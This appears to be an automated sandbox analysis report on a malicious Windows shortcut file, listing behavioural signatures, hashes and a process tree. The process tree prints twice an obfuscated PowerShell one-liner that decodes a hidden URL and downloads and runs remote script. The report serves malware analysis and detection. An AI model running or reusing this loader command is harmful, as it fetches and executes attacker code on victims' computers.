Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/07/2026, 09:37

General

  • Target
    photov_451247531813.lnk
  • Size 1KB
  • Sample260727-llvadazdkd
  • SHA256 3edc00d9aa15319a68c824128d094ce6f4c8f6808da2ea39d67bb112045fff4a
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_451247531813.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$nzojv=38;$zepmta=30;$ca2f10jx=42;$y4baw4=[bigint]::Parse('157168680144939260864117449377365881341');$ubt5hvkn3w=[bigint]::Parse('993004526261770567280971240931974');$y4baw4=$y4baw4-$ubt5hvkn3w;$lrpiq2z08=@();while($y4baw4 -gt 0){$lrpiq2z08+=[char][int]([bigint]::Remainder($y4baw4,256));$y4baw4=[bigint]::Divide($y4baw4,256)};.([scriptblock]::Create((irm(-join$lrpiq2z08))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$nzojv=38;$zepmta=30;$ca2f10jx=42;$y4baw4=[bigint]::Parse('157168680144939260864117449377365881341');$ubt5hvkn3w=[bigint]::Parse('993004526261770567280971240931974');$y4baw4=$y4baw4-$ubt5hvkn3w;$lrpiq2z08=@();while($y4baw4 -gt 0){$lrpiq2z08+=[char][int]([bigint]::Remainder($y4baw4,256));$y4baw4=[bigint]::Divide($y4baw4,256)};.([scriptblock]::Create((irm(-join$lrpiq2z08))))"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:668

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_02zyg43e.52j.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_02zyg43e.52j.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/668-0-0x0000020379EA0000-0x0000020379EB0000-memory.dmp

        memory/668-1-0x0000020379EA0000-0x0000020379EB0000-memory.dmp

        memory/668-2-0x0000020379E70000-0x0000020379E92000-memory.dmp

        memory/668-11-0x0000020379EA0000-0x0000020379EB0000-memory.dmp

        memory/668-10-0x0000020379EA0000-0x0000020379EB0000-memory.dmp